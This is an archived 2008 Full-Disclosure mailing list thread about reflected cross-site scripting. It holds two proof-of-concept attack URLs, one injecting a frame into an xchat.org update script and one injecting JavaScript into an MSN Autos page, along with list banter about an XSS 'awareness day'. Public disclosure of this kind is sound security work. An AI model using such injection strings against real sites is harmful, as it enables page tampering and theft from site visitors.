full-disclosure - Re: XSS in XChat.org

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 19 Apr 2008 20:15:17 +0200
From: "Thomas Pollet" <thomas.pollet@...il.com>
To: n3td3v <xploitable@...il.com>
Cc: n3td3v <n3td3v@...glegroups.com>, full-disclosure@...ts.grok.org.uk,
	Steve Cooperman <worried@...il.com>
Subject: Re: XSS in XChat.org

http://autotrader.autos.msn.com/fyc/index.jsp?hide_nav=true&page=atcPartner&address=&year=&make=&model=&certified=&distance=25&search_type=both&LNX=MSNATMSNBCCLASSFYC');%7D%7Dalert('n3td3v%20sucks');%20function%20vvv()%7B%20if%20(0==0)%20%7Bvar%20ho=('&icid=autos_msnbc_2&num_records=25&h000=n000'%22%3E/

On 19/04/2008, n3td3v <xploitable@...il.com> wrote:
>
> On Sat, Apr 19, 2008 at 4:06 AM, Steve Cooperman <worried@...il.com>
> wrote:
> >
> http://xchat.org/cgi-bin/checkupdate.pl?version=2.8.8%22%3E%3Cframe%20src=%22http://youtube.com/watch?v=oHg5SJYRHA0
> >
> >
> >
> > --
> > Love,
> > Steve Cooperman
>
>
> I've noticed an increase in web application stuff on the list since April
> 15th.
> Please only post these on May 1st...
> it will look better if the list is full of xss for one day...and send
> out a bigger message to the powers that be who don't take web
> application security seriously enough.
>
> Btw, I see what you did there with the e-mail address, nice.
>
> All the best,
>
> n3td3v
>
> Web Application Security Awareness Day
> http://lists.grok.org.uk/pipermail/full-disclosure/2008-April/061507.html
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/